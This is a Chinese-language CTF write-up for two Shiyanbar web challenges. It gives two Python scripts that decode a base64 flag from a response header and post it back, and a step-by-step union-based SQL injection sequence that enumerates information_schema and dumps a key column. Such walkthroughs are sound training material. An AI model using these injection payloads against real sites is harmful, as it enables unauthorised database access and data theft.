实验吧Web题writeup

天下武功唯快不破

看看响应头,requests and urllib两种写法

import requests,base64

def main():
    url = 'http://ctf5.shiyanbar.com/web/10/10.php'
    s = requests.session()
    req = s.get(url)
    key = base64.b64decode(req.headers['flag']).decode('utf-8')[25:]
    # print(key)
    response = s.post(url,data={'key':key})
    print(response.text)

main()

from urllib import request,parse
import base64


def main():
    url = 'http://ctf5.shiyanbar.com/web/10/10.php'
    req = request.Request(url)
    req.add_header("Cookie", "PHPSESSID=ga0un6plm7tea9li11bgnommh1")
    response = request.urlopen(req)
    head = response.getheaders()[3][1]
    post = base64.b64decode(head).decode('utf-8')[25:]
    data = parse.urlencode([('key',post)])
    response = request.urlopen(req,data.encode('utf-8'))
    print(response.read().decode('utf-8'))

main()

这个看起来有点简单!

常规注入

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,2
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,database()
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,table_name from information_schema.tables where table_schema=database()
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,column_name from information_schema.columns where table_name="thiskey"
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey